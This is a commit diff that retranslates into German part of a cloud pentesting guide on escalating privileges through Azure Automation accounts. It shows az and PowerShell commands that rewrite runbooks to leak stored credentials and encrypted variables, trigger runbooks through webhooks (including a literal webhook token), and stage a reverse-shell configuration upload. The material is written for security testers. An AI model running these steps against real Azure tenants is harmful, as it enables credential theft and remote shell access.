Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:45:42 +00:00
parent 9330e89d88
commit d1e6e7a0e5

View File

@@ -14,7 +14,7 @@ Für weitere Informationen siehe:
- **Vom Automatisierungskonto zur VM**
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem hybriden Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein.
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem hybriden Worker ausführen kann, **zum Standort der VM pivotieren** wird. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein.
Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen.
@@ -32,9 +32,9 @@ Wie im folgenden Bild zu sehen ist, ist es mit Administratorzugriff auf die VM m
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automatisierungskonto, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Privilegien auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen** zu leaken, die im Automatisierungskonto gespeichert sind.
Zusammenfassend erlauben diese Berechtigungen, **Runbooks im Automatisierungskonto zu erstellen, zu ändern und auszuführen**, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Berechtigungen für die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen**, die im Automatisierungskonto gespeichert sind, zu leaken.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** erlaubt es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,7 +47,7 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Berechtigung sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist.
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.
```bash
@@ -134,37 +134,22 @@ az rest --method PUT \
}'
```
> [!TIP]
> Im vorherigen Beispiel wurde die Jobplanungs-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
> Im vorherigen Beispiel wurde die Jobplan-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/webhooks/write`** ist es möglich, einen neuen Webhook für ein Runbook innerhalb eines Automation-Kontos mit dem folgenden Befehl zu erstellen.
Beachten Sie, dass Sie **die Webhook-URI** mit dem zu verwendenden Token angeben müssen.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Dieser Befehl sollte eine Webhook-URI zurückgeben, die nur bei der Erstellung angezeigt wird. Um dann das Runbook mit der Webhook-URI aufzurufen
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den **Code eines Runbooks** zu aktualisieren, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, **den Code eines Runbooks zu aktualisieren**, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -246,17 +231,17 @@ Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwende
- Schritt 2 — Konfigurationsdatei zippen
Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage-Konto vorzubereiten.
Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Schritt 3 — Speicher-Kontext festlegen & Hochladen
- Schritt 3 — Speicher-Kontext festlegen & hochladen
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, hochgeladen, indem das Azure-Cmdlet Set-AzStorageBlobContent verwendet wird.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Schritt 4 — Kali-Box vorbereiten
- Schritt 4 — Kali Box vorbereiten
Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter.
```bash